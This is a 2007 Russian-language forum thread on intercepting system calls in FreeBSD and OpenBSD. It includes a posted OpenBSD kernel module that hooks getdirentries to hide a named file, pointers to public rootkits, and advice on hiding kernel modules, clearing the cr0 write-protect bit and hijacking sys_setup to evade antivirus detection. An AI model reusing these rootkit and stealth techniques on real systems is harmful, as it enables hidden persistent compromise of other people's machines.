Перехват системного вызова вo FreeBSD

Тема в разделе "WASM.UNIX", создана пользователем yarovoy, 10 апр 2007.

  1. yarovoy

    yarovoy New Member

    Публикаций:
    0
    Регистрация:
    10 апр 2007
    Сообщения:
    3
    Уважаемая публика,

    пишу прожку-демон на nasm под FreeBSD. Её цель - висеть в памяти и отлавливать прерывание, которое срабатывает при попытке войти в определённую папку. После того как прерывание было перехвачено, необходимо сделать так, чтобы переход к папке не был выполнен. Без каких-либо сообщений пользователю.

    Тоесть он просто пишет cd "/dir", но остаётся в той же папке где раньше был.

    Я так понимаю нужно перехватить системный вызов (прерывание) и перезаписать вектор прерываний своими данными? Как минимум это теория.

    Как реализовать на практике? Подскажите.
     
  2. GanDJuStas

    GanDJuStas New Member

    Публикаций:
    0
    Регистрация:
    11 мар 2003
    Сообщения:
    21
    Адрес:
    Russia
    Лучше написать свой вариант cd и подменить сиситемный
     
  3. yarovoy

    yarovoy New Member

    Публикаций:
    0
    Регистрация:
    10 апр 2007
    Сообщения:
    3
    Ребята, ну задача ведь была ясно истолкована. Нужно перехватить системный вызов,
    подменить cd сможет кто угодно с мало-мальскими знаниями, сейчас речь не об этом.

    Если кто-то может конструктивно высказать идею, я жду с нетерпением
     
  4. nester7

    nester7 New Member

    Публикаций:
    0
    Регистрация:
    5 дек 2003
    Сообщения:
    720
    Адрес:
    Russia
    Исхоники adore-ng.
     
  5. yarovoy

    yarovoy New Member

    Публикаций:
    0
    Регистрация:
    10 апр 2007
    Сообщения:
    3
    Взял : http://stealth.openwall.net/rootkits/adore-ng-0.56.tgz

    Распаковал, посмотрел. Linux 2.4/2.6 rootkit. Весь на С.
    Суть понятна, там впринципе и делается подмена вектора прерываний, но
    применительно к freebsd скорее всего мне нужно написать подмену системному вызову

    sys_chdir .

    Пока ищу в инете, нет особых примеров или статей...
     
  6. ShadOS

    ShadOS New Member

    Публикаций:
    0
    Регистрация:
    20 сен 2006
    Сообщения:
    39
    Адрес:
    0x48k
    Какой ужас... Всем надобно руткитов под *BSD =)
    Для примера перехвата сискола можно посмотреть следующие вещи:
    1) darkside-0.2.3 от команды limpid byte (lbyte.ru)
    2) adore-bsd-0.34 это последняя версия в паблике. Найти можно на packetstormsecurity.nl.
    3) руткит для OpenBSD от подчивающей ныне команды RST. Гугль в помощь, если уж совсем тяжко будет - мне в ПМ. но не наоборот.
    А вот ещё код для OpenBSD, прячущий, используя перехват getdirentries-сискола:
    Формат usermode функции из мана таков:
    Код (Text):
    1.        #include <dirent.h>
    2.  
    3.        ssize_t getdirentries(int fd, char *buf, size_t nbytes , off_t *basep);
    А вот собственно перехват во всей его красе:

    Код (Text):
    1. #define DONT_PERMIT
    2. #include <sys/param.h>
    3. #include <sys/systm.h>
    4. #include <sys/syscall.h>
    5. #include <sys/mount.h>
    6. #include <sys/conf.h>
    7. #include <sys/syscallargs.h>
    8. #include <sys/exec.h>
    9. #include <sys/lkm.h>
    10. #include <sys/file.h>
    11. #include <sys/filedesc.h>
    12. #include <sys/errno.h>
    13. #include <sys/dirent.h>
    14. #include <sys/proc.h>
    15. #include <sys/syslog.h>
    16. #include <sys/malloc.h>
    17.  
    18. int my_getdirentries __P((struct proc *, void *, register_t *));
    19. MOD_MISC("HideFile");
    20.  
    21. static int
    22. HideFile_load(struct lkm_table *lkmtp,int cmd)
    23. {
    24.  if(cmd==LKM_E_LOAD)
    25.  {
    26.   sysent[SYS_getdirentries].sy_call=my_getdirentries;
    27.  }
    28.  return 0;
    29. }
    30.  
    31. static int
    32. HideFile_unload(struct lkm_table *lkmtp,int cmd)
    33. {
    34.  if(cmd==LKM_E_UNLOAD)
    35.  {
    36.   sysent[SYS_getdirentries].sy_call=sys_getdirentries;
    37.  }
    38.  return 0;
    39. }
    40.  
    41. HideFile(lkmtp,cmd,ver)
    42.  struct lkm_table *lkmtp;
    43.  int cmd;
    44.  int ver;
    45.  {
    46.   DISPATCH(lkmtp,cmd,ver,HideFile_load,HideFile_unload,lkm_nofunc);
    47.  }
    48.  
    49. int
    50. my_getdirentries(p,v,retval)
    51.  struct proc *p;
    52.  void *v;
    53.  register_t *retval;
    54.  {
    55.   register struct sys_getdirentries_args *uap=v;
    56.   unsigned int tmp,n,t;
    57.   struct dirent *dirp2,*dirp3;
    58.   char hide[]="top-secret";                        /* filename or subdirectory*/
    59.  
    60.   getdirentries(p,uap);
    61.   tmp=p->p_dupfd;
    62.   if(tmp>0)
    63.   {
    64.    copyin(&(uap->buf),dirp2,tmp);
    65.    dirp3=dirp2;
    66.    t=tmp;
    67.    while(t>0)
    68.    {
    69.     n=dirp3->d_reclen;
    70.     t-=n;
    71.     if(strcmp((char*)&(dirp3->d_name), (char*)&hide)==0)
    72.     {
    73.      if(t!=0)
    74.      bcopy((char*)dirp3+n,(char*)dirp3,t);
    75.     }
    76.     tmp-=n;
    77.    }
    78.    if(dirp3->d_reclen==0)
    79.      t=0;
    80.    if(t!=0)
    81.      dirp3=(struct dirent*)((char*)dirp3+dirp3->d_reclen);
    82.   }
    83.   p->p_dupfd=tmp;
    84.   copyout(dirp2,&(uap->buf),tmp);
    85.   return (0);
    86.  }
    Как видишь, всё очень просто. И никакого изврата с поиском таблицы иморта сисколов как в линухе 2.6.x.
    Т.к. я больше на linux специализируюсь, то про совместимость кода для OpenBSD с FreeBSD мало что его могу сказать, но данный код будет с большой долей вероятности работать как в NetBSD, так и FreeBSD.
     
  7. kaspersky

    kaspersky New Member

    Публикаций:
    0
    Регистрация:
    18 май 2004
    Сообщения:
    3.006
    вот тут показано как перехватывать системные вызовы
    под Free/Open/NetBSD, если что не понятно - спрашивай.
     
  8. MCNet

    MCNet New Member

    Публикаций:
    0
    Регистрация:
    23 ноя 2006
    Сообщения:
    74
    Крис, ты когда-то написал способ загрузки невидимого модуля в Линукс. Каким образом похожий трюк можно проделать во FreeBSD?
     
  9. kaspersky

    kaspersky New Member

    Публикаций:
    0
    Регистрация:
    18 май 2004
    Сообщения:
    3.006
    MCNet
    аналогичным образом ;)
    выделяем память, копируем туда обработчики системных вызовов,
    которые мы перехватываем и возвращаем ошибку иницилизации модуля.
    правда, уже есть тузлы, которые обнаруживают такой способ внедрения,
    но можно модифицировать редко используемые системные функции,
    сбросив WP бит в cr0, а потом его вновь восстановив.
     
  10. ShadOS

    ShadOS New Member

    Публикаций:
    0
    Регистрация:
    20 сен 2006
    Сообщения:
    39
    Адрес:
    0x48k
    А можно про это поподробнее? В частности про утилиты, которые это контролируют и про редко используемые сисколы? Например? Есть ли ещё какие-либо способы обхода?
     
  11. kaspersky

    kaspersky New Member

    Публикаций:
    0
    Регистрация:
    18 май 2004
    Сообщения:
    3.006
    ShadOS
    про утилиты, которые ищут машинный код вне драйверов/модулей, вроде даже упоминается в разделе вирологии на этом сайте. насколько я в курсе, антивирусы с этим еще не заморачиваются (тестировал NOD32, KAV, etc).

    системный вызов не обязательно должен быть редким, но тогда тебе придется передавать управление на оригинальный обработчик, чтобы система не рухнула с дуба. в случае же редкого сист. вызова на это можно забить, особенно если продукт подчеркнуто некоммерческий ;)
     
  12. ShadOS

    ShadOS New Member

    Публикаций:
    0
    Регистрация:
    20 сен 2006
    Сообщения:
    39
    Адрес:
    0x48k
    Ну а всё-таки пример такого сискола? Имя?
     
  13. kaspersky

    kaspersky New Member

    Публикаций:
    0
    Регистрация:
    18 май 2004
    Сообщения:
    3.006
    ShadOS
    > Ну а всё-таки пример такого сискола? Имя?
    как на счет sys_setup?
     
  14. ShadOS

    ShadOS New Member

    Публикаций:
    0
    Регистрация:
    20 сен 2006
    Сообщения:
    39
    Адрес:
    0x48k
    Насколько у понял он вызывается в процессе загрузки только один раз? (filesystems.c)
    Если так, то это идельная кандидатура. Спасибо.
    Код (Text):
    1.  38 /* This may be used only once, enforced by 'static int callable' */
    2.  39 asmlinkage int sys_setup(void)
    3.  40 {
    4.  41         static int callable = 1;
    5.  42
    6.  43         if (!callable)
    7.  44                 return -1;
    8.  45         callable = 0;
    9.  46
    10.  47         device_setup();
    11.  48
    12.  49         binfmt_setup();
    13.  50
    14.  51 #ifdef CONFIG_ROMFS_FS
    15.  52         init_romfs_fs();
    16.  53 #endif
    17.  54
    18.  55 #ifdef CONFIG_JFFS_FS
    19.  56         init_jffs_fs();
    20.  57 #endif
    21.  58
    22.  59 #ifdef CONFIG_NLS
    23.  60         init_nls();
    24.  61 #endif
    25.  62
    26.  63 #ifdef CONFIG_EXT_FS
    27.  64         init_ext_fs();
    28.  65 #endif
    29.  66
    30.  67 #ifdef CONFIG_EXT2_FS
    31.  68         init_ext2_fs();
    32.  69 #endif
    33.  70
    34.  71 #ifdef CONFIG_XIA_FS
    35.  72         init_xiafs_fs();
    36.  73 #endif
    37.  74
    38.  75 #ifdef CONFIG_MINIX_FS
    39.  76         init_minix_fs();
    40.  77 #endif
    41.  78
    42.  79 #ifdef CONFIG_UMSDOS_FS
    43.  80         init_umsdos_fs();
    44.  81 #endif
    45.  82
    46.  83 #ifdef CONFIG_FAT_FS
    47.  84         init_fat_fs();
    48.  85 #endif
    49.  86
    50.  87 #ifdef CONFIG_MSDOS_FS
    51.  88         init_msdos_fs();
    52.  89 #endif
    53.  90
    54.  91 #ifdef CONFIG_VFAT_FS
    55.  92         init_vfat_fs();
    56.  93 #endif
    57.  94
    58.  95 #ifdef CONFIG_PROC_FS
    59.  96         init_proc_fs();
    60.  97 #endif
    61.  98
    62.  99 #ifdef CONFIG_NFS_FS
    63. 100         init_nfs_fs();
    64. 101 #endif
    65. 102
    66. 103 #ifdef CONFIG_SMB_FS
    67. 104         init_smb_fs();
    68. 105 #endif
    69. 106
    70. 107 #ifdef CONFIG_NCP_FS
    71. 108         init_ncp_fs();
    72. 109 #endif
    73. 110
    74. 111 #ifdef CONFIG_ISO9660_FS
    75. 112         init_iso9660_fs();
    76. 113 #endif
    77. 114
    78. 115 #ifdef CONFIG_SYSV_FS
    79. 116         init_sysv_fs();
    80. 117 #endif
    81. 118
    82. 119 #ifdef CONFIG_HPFS_FS
    83. 120         init_hpfs_fs();
    84. 121 #endif
    85. 122
    86. 123 #ifdef CONFIG_AFFS_FS
    87. 124         init_affs_fs();
    88. 125 #endif
    89. 126
    90. 127 #ifdef CONFIG_UFS_FS
    91. 128         init_ufs_fs();
    92. 129 #endif
    93. 130
    94. 131 #ifdef CONFIG_AUTOFS_FS
    95. 132         init_autofs_fs();
    96. 133 #endif
    97. 134         mount_root();
    98. 135         return 0;
    99. 136 }